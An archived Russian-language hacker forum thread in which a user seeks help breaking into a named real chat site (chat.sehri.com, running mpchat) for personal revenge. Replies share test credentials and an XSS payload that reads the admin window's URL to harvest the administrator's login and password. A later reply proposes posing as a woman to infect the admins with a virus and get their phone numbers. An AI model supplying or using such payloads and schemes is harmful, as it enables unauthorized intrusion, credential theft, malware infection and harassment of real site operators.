PDA

Просмотр полной версии : Чем взять mpchat

West
19.01.2006, 22:16
дайте совет ка и чем взять mpchat ! XSS пробовал не пашет хотел r57shell загрузить тоже облом !
Вот ссылка на чат http://chat.sehri.com/ кто памажет советом ??? :confused:
max_pain89
20.01.2006, 00:03
Тестовые логин и пароль:

pupozoid;pupozoid
West
20.01.2006, 00:31
Тестовые логин и пароль:

pupozoid;pupozoid

Я зашол но ничего если можно то в личку пошли что ты там зделал ?? (
West
20.01.2006, 14:09
Люди Братья Помогите найти дыру в чате http://chat.sehri.com ето mpchat за обиду нанесённую моей невесте ((((((( :(
D1mOn
20.01.2006, 17:36
За обиду нанесённую твоей невесте, пойди и набей морды)))
West
20.01.2006, 19:33
За обиду нанесённую твоей невесте, пойди и набей морды)))

Я 5 раз ходил на стрелу но никто не пришол еслибы пришли я им кишки спустилбы а теперь они издеваютса банят а я перезохожу и нифига просто смеютса надомной я думал что здесь пантовые ребята а оказываетса тут нет тех кто паможет мне Советом по взлому !!! :( ОБИДНО
seeattact
20.01.2006, 20:30
Лавэ давай и мы тебе все поможем,а так нету времени возится.
censored!
20.01.2006, 20:41
У меня там ваще девственно чистая страничка (www.chat.sehri.com)
West
20.01.2006, 21:28
Лавэ давай и мы тебе все поможем,а так нету времени возится.

У меня нет в вирте wm !!!
virgoz
21.01.2006, 00:32
Можно xss-картинки аплоудить. Нащет этого лучше к censored! обращайся... ;)
West
24.01.2006, 20:10
да никто не дал тут совета мне приличног кажетса ни кто не может справитса с МР чатом !!! Хот спасибо что посмотрели маю тему !!
WizART
24.01.2006, 20:25
Попробуй в сообщении кинуть картинку-пиздельщик :d
WizART
24.01.2006, 20:26
Всмысле не в сообщении(а там есть такая штука как "Почта")
blob
01.03.2006, 03:27
Чат ломается на уровне хтмла... до базы мне долезть не удалось, но вживление скрипта катит. Даже при наличии yourkey модера я не смог залезть в админку... сервак проверяет сессию на такие вещи. Но реально поиметь внутреннюю почту. Уязвимость в движке у всех чатов mpchat, маленькая, но позволяет делать с ним и с юзерами многое. Я сам с сегодня обижен на один такой чат :) ибо забанили всех клонов и повесили подтверждение на регистрацию :) влезу... убью :)
censored!
01.03.2006, 03:34
Чат ломается на уровне хтмла... до базы мне долезть не удалось, но вживление скрипта катит.
Вот и помоги West-у, но тока в открытую не выкладывай. А то завтра ее, баги, уже не будет, а таких как West - будут. И будут также просить. Ну где их еще то взять, если баги постоянно закрывают?
blob
01.03.2006, 03:53
To West.. в личку пиши, ща в нём сижу... У них в порядке вещей закидывать окнами ? Пиши короче
Tem
01.03.2006, 10:28
Люди Братья Помогите найти дыру в чате http://chat.sehri.com ето mpchat за обиду нанесённую моей невесте

А что вообше твоя невеста в чате делает ? лень просто стобой день провести ? или она уже к тебе равнодушна ? вообшим это твои проблемы, но я бы на твоём месте , не Админа морду набил, а твоей невести, вот тогда посмотрим он зайдёт в чаты или нет.
¤ ¤ ¤Эльф¤ ¤ ¤
01.03.2006, 11:56
код для теста xss
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><form action="http://mpchat.com/_admin.php" target="_blank">
<textarea cols="50" rows="5" name="chat" id="chat">z style=`background:url(javascript:alert())`</textarea><br>
<input type="submit">
</form>[/QUOTE]<span id='postcolor'>

птом открыть админку и открыть чтарницу с этим кодом, птом заменить в поле alert() на
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">document.write(unescape(/%3Cimg%20src=%22javascript:z=window.open(%27%27,%2 7administration%27)%3Balert(z.document.location)%3 B%22%3E/))[/QUOTE]<span id='postcolor'>

и послать форму и откроется страница с xss иньекцией которая обратится в окно с именем administration и даст url с логином и пассвордом.

Что бы обезопасить свой чат нужно метод get сменить на post, тогда в админке url не будет состоять из логина и пассворда.
vlcman
29.03.2007, 15:02
¤ ¤ ¤Эльф¤ ¤ ¤
можно поподробней?
ЛифчиС5СВ
29.03.2007, 22:27
И еще метод - я не думаю, что там уже оч прошареные админы. Зарегься под какой-нибудь шикарной бабой (пускай твой диалог займет больше времени), всунь фотку модели какой, и
1. Всунь вирус поновее, чтобы они не просекли.
2. Узнай номер телефона.
Тогда и поговоришь по душам с теми людьми, коль уж они тебе так насолили ;)